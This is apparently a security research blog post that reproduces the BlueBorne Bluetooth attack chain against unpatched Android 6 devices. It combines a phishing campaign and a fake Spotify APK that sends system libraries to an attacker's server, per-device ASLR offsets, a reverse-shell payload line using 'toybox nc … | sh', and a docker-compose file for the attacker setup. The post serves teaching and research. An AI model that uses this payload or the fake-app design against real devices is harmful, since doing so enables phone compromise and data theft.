Attacks on any device have become increasingly complex: attackers often string together multiple vulnerabilities in a chain of attacks that can cause devastating effects by requiring little user interaction. The main goals of this post are essentially two: first, we will do a general overview of the various phases of a cyber kill-chain and the exploit we will use later; second, we will go to show how it was possible to reproduce the whole attack on Dockerized Android.
General concepts
Kill-chain attacks
In 2011, in this paper, seven steps that make up a cyber kill-chain were identified:
These seven steps can be grouped into three phases:
- Preparation: the attacker tries to discover vulnerabilities on the target and looks for a way to exploit them. As shown by the image above, this phase includes two steps:
- Reconnaissance: it involves acquiring information to understand how to structure an attack. Actions that fall within this step are, for example, social engineering activities, crawling Internet websites, searches to identify specific targets.
- Weaponization: it includes the attacker’s creation of the malicious payload and takes place without contact with the target.
- Intrusion: the attacker must find a way to deliver the exploit and a way to deceive and penetrate the target. Let us consider three different steps:
- Delivery: it involves the delivery of the malicious payload from the attacker to the victim. It can be through a phishing email, a removable USB, or other means.
- Exploitation: once the malicious payload reaches its destination, it gets activated by exploiting a vulnerability in an application or operating system. The code provided by the attacker is triggered.
- Installation: the malware installs an access point for the attacker.
- Breach: after taking control, the attacker tries to maintain and improve his position. Even in this case, there are two distinct steps
- Command and Control: it is the step in which the exploit leads to the generation of a communication channel between the attacker and the victim; in this way, the attacker has access to the target’s host.
- Actions on Objective: after successfully passing all the steps listed above, the attacker can accomplish his goals, such as exfiltration, encryption or destruction of information, compromise of the entires system.
BlueBorne CVEs overview
The term “BlueBorne” refers to multiple security vulnerabilities related to the implementation of Bluetooth. These vulnerabilities were discovered by a group of researchers from Armis Security, an IoT security company, in September 2017. According to Armis, the BlueBorne attack vector affected aroun 8.2 billion devices at the time of discovery. It affects the Bluetooth implementations in Android, iOS, Microsoft and Linux, impacting almost all Bluetooth device types such as smartphones, laptops, smartwatches, etc. Ben Seri and Gregor Vishnepolsk analyzed BlueBorne in detail in this paper. There are eight different vulnerabilities that can be used as part of the attack vector:
- CVE-2017-1000251: Linux Kernel RCE vulnerability;
- CVE-2017-1000250: Linux Bluetooth stack (BlueZ) information leak vulnerability;
- CVE-2017-0785: Android information leak vulnerability;
- CVE-2017-0781: Android RCE vulnerability #1;
- CVE-2017-0782: Android RCE vulnerability #2;
- CVE-2017-0783: The Bluetooth Pineapple in Android – Logical Flaw;
- CVE-2017-8628: The Bluetooth Pineapple in Windows – Logical Flaw
- CVE-2017-14315: Apple Low Energy Audio Protocol RCE vulnerability
For this cyber kill-chain reproduction, we are going to use CVE-2017-0785 and CVE-2018-0781.
Before going into the core of the implementation it is important to describe the PoC presented by Armis researchers.
Original Exploit Chain
The original exploit put together the two vulnerabilities listed above and consisted of two phases:
- Through CVE-2017-0785, it is possible to obtain a large part of the stack associated with the com.android.bluetooth process. It allows an attacker to derive the memory addresses needed to bypass ASLR protection.
- Through CVE-2017-0781, the attacker gets a remote shell with the privileges of the com.android.bluetooth process.
In particular, the attacker in the first phase of the attack needs to derive the base address of two libraries:
- libc.so: the library that contains the system function (used in the payload in the following phase).
- bluetooth.default.so: the library that implements the entire Bluetooth stack in Android.
The PoC presented by Armis researches had a series of offsets that must be set in the code before running and these offsets change every time the Bluetooth process restarts. For this reason, to run this PoC, it was necessary to have root privileges to find the correct offsets every time. In our implementation, we solved this problem.
Our kill-chain implementation
Requirements
This paragraph highlights the requirements to reproduce the kill-chain:
- Device Type: Real Device
- Android Version: Android Marshmallow (6.0)
- Security Patch: Prior to September 2017
- Misc: Bluetooth enabled on target victim that must be close in range
As for the type of device, it is impossible to execute this kill-chain on an Android Emulator since it has limited integration with the hardware.
Kill-Chain phases
The following figure shows the high-level steps to reproduce the exploit chain:
As you can see, there are a lot of phases and tools that are involved, almost all of them can be put into a container to form a big docker-compose.yml that allows you to put the whole kill-chain together. Unfortunately, there are some things like the creation of a fake application (Fake Spotify) and the Reverse engineering phase that has to be done out-of-band. Let’s move forward and explain this flow step by step.
[1-5] Gophish campaign and Fake Application
This is an extremely important part and is the one that allows to turn the Armis PoC into a kill-chain (as we said before we needed a root access to find the offsets to run the PoC). To get the correct offsets, we are going to use the function address inference technique we described in this post. Therefore, we are going to use the Information Leakage CVE to bypass ASLR protection. To do this, we need to analyze libc.so and bluetooth.default.so libraries out-of-band in order to perform function address inference, but how do we get those libraries from the target victim device? The solution we provide (but there could be thousands of alternative approaches) is:
- create a phishing campaign that makes the victim download an APK that promises to give free access to Spotify Premium.
- create a Fake Spotify app that mimics the original application but, under the hood, sends these two libraries to a server owned by the attacker.
In the first step, we need to send a phishing email to the victim (in this case one that contains a link to a malicious apk). For this purpose we used Gophish, a powerful open-source framework:
This is the phishing mail we created, yes we love Mr Robot.
Once the victim downloads the APK and runs it, the attacker receives:
- the bluetooth.default.so file
- the libc.so file
- the bt_address.txt file containing the BDADDR
easy peasy.
[6] Reverse engineering
From the attacker’s point of view, the second step of the exploit chain consists of analyzing the information received from the target. The victim, misled by the phishing email, sends information about their device to the attacker. To correctly configure the offsets needed for the function address inference the attacker must perform reverse engineering operations since he must disassemble these two libraries.
Using Ghidra, it is possible to disassemble the two files that the attacker received from the victim and statically set these offsets in the code:
# HUAWEI P9 LITEBLUETOOTH_LIB_START_OFFSET = 0x4000BLUETOOTH_OFFSETS = { 'btu_general_alarm_cb': 0xEF200, 'alarm_set_periodic': 0x103908, 'sdp_disconnect_ind': 0xE8800,}LIBC_LIB_START_OFFSET = 0x10000LIBC_OFFSETS = { 'pthread_start': 0x4FA80 'clone': 0x2A178,}# XIAOMI REDMI 2BLUETOOTH_LIB_START_OFFSET = 0x3000BLUETOOTH_OFFSETS = { 'btu_general_alarm_cb': 0xF7604, 'alarm_set_periodic': 0x10DCD4, 'sdp_disconnect_ind': 0xF06E8,}LIBC_LIB_START_OFFSET = 0x10000LIBC_OFFSETS = { 'pthread_start': 0x50DCC, 'clone': 0x28F3C,}
[7] Exploitation
With the procedures explained above, the attacker manages to bypass the ASLR of the target device. As repeated several times already, this was possible thanks to CVE-2017-0785, which causes an information leak. In order to penetrate the device, in this second phase, we use CVE-2017- 0781 RCE exploit. The goal is to obtain a remote shell from which to control the device. For this purpose, the payload is the following:
# Payload details (attacker IP should be accessible over the internet for the victim phone)SHELL_SCRIPT = b'toybox nc {ip} {port} | sh'payload = 'A'+ struct.pack(’<IIIIII’, shell_addr, ptr1, ptr2, ptr0, ptr1, system_addr) + SHELL_SCRIPT.format(ip=my_ip, port=NC_PORT)
This payload needs to be placed in a deterministic memory location: this is why the attacker uses the name of his Bluetooth device. In fact, during the establishment of the Bluetooth ACL connection (the layer below L2CAP), this name is exchanged with the victim device. Here is how the Delivery phase unfolds. As mentioned earlier, whenever the vulnerable call to memcpy is reached, there is a corruption of the heap that generates “holes”. Therefore, the attacker’s goal is to generate a buffer overflow to have the payload executed on the target device.
Reproduction on Dockerized Android
As we said before it is impossible to reproduce all the above stages on Docker (the reverse engineering phase). However, to reproduce only the execution of the kill-chain on a specific device, we implemented the following docker-compose:
version: "3.9"services: core-real: image: secsi/dockerized-android-core-real-device privileged: true networks blueborne-net: ipv4_address: 10.5.0.2 ui: image: secsi/dockerized-android-ui ports: - "8080:80" networks: blueborne-net: ipv4_address: 10.5.0.3 attacker_phishing: image: gophish/gophish ports: - "3333:3333" - "8081:8080" volumes: - ./phishing:/home/phishing networks: blueborne-net: ipv4_address: 10.5.0.4 attacker_blueborne: image: kalilinux/kali-rolling tty: true volumes: - ./exploit:/home/exploit - ./dependencies-blueborne:/home/dependencies privileged: true network_mode: "host" attacker_web_server: image: kalilinux/kali-rolling tty: true ports: - "8000:8000" volumes: - ./webserver:/home/webserver - ./dependencies-webserver:/home/dependencies networks: blueborne-net: ipv4_address: 10.5.0.5networks: blueborne-net: ipam: config: - subnet: 10.5.0.1/24
There are five different services in this file:
- core-real: runs scrcpy to display and control the physical device
- ui: graphical interface via browser for the core-real component
- attacker-phishing: runs the official Gophish image
- attacker-blueborne: a container that contains the exploit. You need to install dependencies such as bluez and libbluetooth-dev to execute the exploit correctly
- attacker-webserver: a container that runs a simple Python webserver to receive the files from the Fake Spotify app
It was necessary to split attacker-blueborne and attacker-webserver since the former requires network_mode equal to “host” (because the Bluetooth of the host machine is required to run the exploit).
You can get the source code to run everything from our GitHub repo here (you will find also some useful tips on how to set everything up). Anyway, if something goes sideways you can always open an issue.